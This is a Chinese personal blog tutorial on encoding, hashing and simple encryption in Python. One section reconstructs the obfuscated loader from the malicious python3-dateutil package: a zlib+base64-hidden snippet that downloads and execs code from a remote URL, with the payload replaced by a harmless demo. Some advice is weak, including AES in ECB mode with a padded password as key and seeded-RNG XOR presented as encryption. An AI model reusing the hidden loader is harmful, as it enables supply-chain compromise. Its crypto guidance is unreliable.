【加密】算法和实践

2019年06月29日    Author:Guofei

文章归类: 0xb0_Python语法    文章编号: 1242


版权声明:本文作者是郭飞。转载随意,但需要标明原文链接,并通知本人
原文链接:https://www.guofei.site/2019/06/29/crypto.html

Edit

前言

为什么

  • 我们有时想埋入一些信息
  • 如果埋入文本,“几乎”可以等同于埋入了任何文件,因为可以把文件放网上,而埋入的文本就是链接。

怎么做

  • AES
    • 一种对称加密法,安全性很高
    • 用 binascii 对加密后的文本做进一步处理,提高安全性
  • 混沌加密法和随机数加密法(可以用于图像)
    • 生成随机数,让随机数与原数据求异或
    • 求两次异或还是本身。
  • base64,实际上既不是加密算法,也不是压缩算法。(可以用于图像)
    • 找64个字符,相当于6位二进制
    • 把3个8位二进制表示为4个6位二进制
  • zlib,不是加密算法,而是压缩算法

Python 常用的加密模块md5、sha、crypt

编码

进制

# str 转二进制
# 先转16进制,然后转10进制,然后转2进制。试了写用规则把16进制转2进制,耗时10倍
text_bin = bin(int(text.encode('utf-8').hex(), base=16))[2:]
# text_bit = (np.array(list(text_bin)) == '1')

# 二进制转文本
bytes.fromhex(hex(int(text_bin, base=2))[2:]).decode('utf-8')

base64

实际上不是加密算法,也不是压缩算法,而是一种“编码格式”,可以对文本和图片做编码。

先定义一个类似这样的数组

[‘A’, ‘B’, ‘C’, … ‘a’, ‘b’, ‘c’, … ‘0’, ‘1’, … ‘+’, ‘/’]

一共64个字符,还要加上 ‘=’ 作为填充字符
然后,每3个八进制数,可以转为4个64进制数。

编码

import base64
s = '你好吗,123 hello'.encode('utf-8')  # unicode编码转byte类型
s_b64 = base64.b64encode(s)

解码

s_origin = base64.b64decode(s_b64)  # 这个 s_b64 是 byte 格式。如果不是,会自动转为 byte 格式,结果不变
s_origin.decode('utf-8')

base64用于图像

# image转base64
import base64

with open("me.png", "rb") as f:
    base64_data = base64.b64encode(f.read())  # 返回byte格式

# 1. 打印文本
print(base64_data)

# 2. 或者按二进制写入
with open('1.txt', 'wb') as f:
    f.write(base64_data)

# 3. 如果用的是 jupyter, 可以直接输出图片
from IPython.core.display import HTML
HTML('<img src="data:image/jpg;base64,'+base64_data.decode('utf-8')+'"/>')



# %% base64 转 image
import os, base64

with open("1.txt", "r") as f:
    imgdata = base64.b64decode(f.read())
    file = open('1.jpg', 'wb')
    file.write(imgdata)
    file.close()

下面这个图是用这个方法做的,可以看看本页源代码。

python 加密

pip install pycryptodome

有时候还需要这样

import crypto
import sys
sys.modules['Crypto'] = crypto

AES

加密

text = '绝密:你好吗,中国。hello world!'.encode('utf-8')
password = '20190808'

from Crypto.Cipher import AES
import binascii

cryptor = AES.new(key='{:0<16}'.format(password).encode('utf-8'), mode=AES.MODE_ECB)  # key 长度必须是16,24,32 长度的 byte 格式
ciphertext_tmp = cryptor.encrypt(text + b' ' * (16 - len(text) % 16))  # 明文的长度必须是16的整数倍
ciphertext_hex = ciphertext_tmp.hex() # 转为16进制
# ciphertext = binascii.b2a_hex(ciphertext_tmp)  # 也是转为16进制,但本身为 byte 类型

加密后的文本

‘88e6eebf94962733887c2f40d21d07a10f93a4b4aee0a351bdbbef9140cda67ffba21c16531a0990be253af48e45aa8d’

解密

AES.new(key='{:0<16}'.format(password).encode('utf-8'), mode=AES.MODE_ECB)\
    .decrypt(binascii.a2b_hex(ciphertext)).decode('utf-8')  # key 长度必须是16,24,32 长度的 byte 格式

此外,还支持

  • 多种 hash 算法 https://www.pycryptodome.org/en/latest/src/hash/hash.html#modern-hash-algorithms

hashlib

import hashlib

# md5
hashlib.md5('你好,中国!'.encode('utf-8')).hexdigest()

# sha256
hashlib.sha256('你好,中国!'.encode('utf-8')).hexdigest()

# 还有另一种方式
md5 = hashlib.md5()
md5.update('First sentence'.encode('utf-8'))
md5.update('Second sentence'.encode('utf-8'))
md5.hexdigest()

典型用途:

  • 用户密码一般不明文存储,否则泄漏后后果严重。纯粹 hash 后的结果,用户输入的密码也做 hash 后与数据库对比。
  • 长url压缩
# pip install pycryptodome
from Crypto.Hash import SHA256

hash = SHA256.new(data=b'First')
hash.update(b'Second')
hash.update(b'Third')

text_hash = hash.digest()

混沌加密法

混沌加密法有两个关键技术点:

  1. 混沌迭代式 $x_n=ux_{n-1}(1-x_{n-1}),(u \in (3.5699456,4],x_0 \in (0,1))$,呈现混沌性。一方面如果你不知道参数,你无法根据迭代结果求出参数;另一方面,如果你知道参数,那么每次迭代的序列都是一样的。
  2. $a\oplus b \oplus b=a,\forall a,b$,异或求两次还是自身

迭代加密/解密函数:
思路是,混沌迭代式的n到m位,与原序列求异或。

def func_chaos(password, input_data):
    u, x, n = password
    output_data = []
    for i in range(n):
        x = u * x * (1 - x)
    for i in input_data:
        x = u * x * (1 - x)
        output_data.append(i ^ (int(x * 127))) # 加密字符串时,是ascii码,所以是127。加密图像用255
    return output_data

数据准备

input_data = 'http://www.guofei.site'
password = (3.7, 0.2, 10)

加密

clear_data = [ord(i) for i in input_data]
cypher_data = func_chaos(password, clear_data)

cypher_text = [chr(i) for i in cypher_data]
print('加密后:')
print(cypher_data)
print(''.join(cypher_text))

解密,和加密完全一样

predict_data = func_chaos(password, cypher_data)
predict_text = [chr(i) for i in predict_data]
print('加密后:')
print(predict_data)
print(''.join(predict_text))

随机数加密法

文本加密

除了用混沌生成器之外,你还可以用随机数生成器

input_data = 'http://www.guofei.site/m/m.md' # 如果你加密对象是一个url,你就能存入大量信息
password = 0
np.random.seed(password)
cypher_data = [ord(i) ^ np.random.randint(127) for i in input_data]
''.join([chr(i) for i in cypher_data])

解密

password = 0
cypher_str = 'D[\x010yTl\x10~$;\x15Q8 =1"I(\x12BxCw<\x0bt)'
np.random.seed(password)
clear_data = [chr(ord(i) ^ np.random.randint(127)) for i in cypher_str]
url=''.join(clear_data)
requests.get(url).content.decode('utf-8')

加密图像

  • 加密
    input_data = plt.imread('test.jpg')
    np.random.seed(0)
    cypher_data = input_data ^ np.random.randint(0, 255, size=input_data.shape)
    plt.imshow(cypher_data)
    
  • 解密
    np.random.seed(0)
    clear_data = cypher_data ^ np.random.randint(0, 255, size=cypher_data.shape)
    plt.imshow(clear_data)
    

图像盲水印

https://github.com/guofei9987/blind_watermark

  • 可以在图片中嵌入图片、bit数据
  • 抗旋转、裁剪等

应用举例

暗代码

(不要用来搞破坏。犯法,并且很容易被发现)
案例来自 python3-dateutil,本文去掉了恶意部分,原文见于 知乎

step1: 核心代码放网上,例子
这里作为demo代码如下:

print('Notice!')
print('You are in danger!')
print('Check your security strategy now!')

step2:触发代码+zlib压缩+base64隐藏

codes='''
try:
    try:from urllib2 import urlopen
    except:from urllib.request import urlopen
    exec(urlopen('http://img1.github.io/c/a.py').read())
except:pass'''

import zlib, base64

code_=base64.b64encode(zlib.compress(codes.encode('utf-8')))

step3:触发代码

import zlib,base64

CODE = ''
CODE += 'eJxtjT0OhSAQhHtOQSc0EF/pbRBX3URkXZZEb+9PLCzeVDOTLzNK+OiUvnSb'
CODE += 'kXPSlZcF+5/GRJnljplgfRjYI5B8McewVSjyn4Zo3sI0swh13mOaWjehzLV3'
CODE += 'mH30wdHR2GsnDMZa9V5QKOUEXQY1cg=='


exec(zlib.decompress(base64.b64decode(CODE)))

暗口令

# -*- coding: utf-8 -*-
import random
import zlib  # 用来压缩


class PositiveSpirit:
    # based on https://github.com/sym233/core-values-encoder
    def __init__(self, password=0):
        self.VALUE_WORD = ('富强', '文明', '和谐', '平等', "公正", '法治', "爱国", '敬业', '诚信', '友善'
                           , '幸福', '快乐', '向上', '积极', '乐观', '奋斗')
        self.HEX_WORD = list('0123456789abcdef')
        self.password = password
        # 加密
        random.seed(self.password)
        random.shuffle(self.HEX_WORD)
        self.encode_dict = {self.HEX_WORD[i]: self.VALUE_WORD[i] for i in range(16)}
        self.decode_dict = {self.VALUE_WORD[i]: self.HEX_WORD[i] for i in range(16)}

    def encode(self, ori_str):
        encrypt_str = zlib.compress(ori_str.encode('utf-8')).hex()  # 压缩
        encrypt_str = ''.join([self.encode_dict[i] for i in encrypt_str])
        return encrypt_str

    def decode(self, encrypt_str):
        part1, part2 = encrypt_str[::2], encrypt_str[1::2]
        encrypt_split = [part1[i] + part2[i] for i in range(len(part1))]
        encrypt_split = [self.decode_dict[i] for i in encrypt_split]
        return zlib.decompress(bytes.fromhex(''.join(encrypt_split))).decode('utf-8')


if __name__ == '__main__':
    ps = PositiveSpirit(password=1)
    str_encode = ps.encode('hello, 测试!' * 30)
    ps.decode(str_encode)

您的支持将鼓励我继续创作!
WeChatQR AliPayQR qr_wechat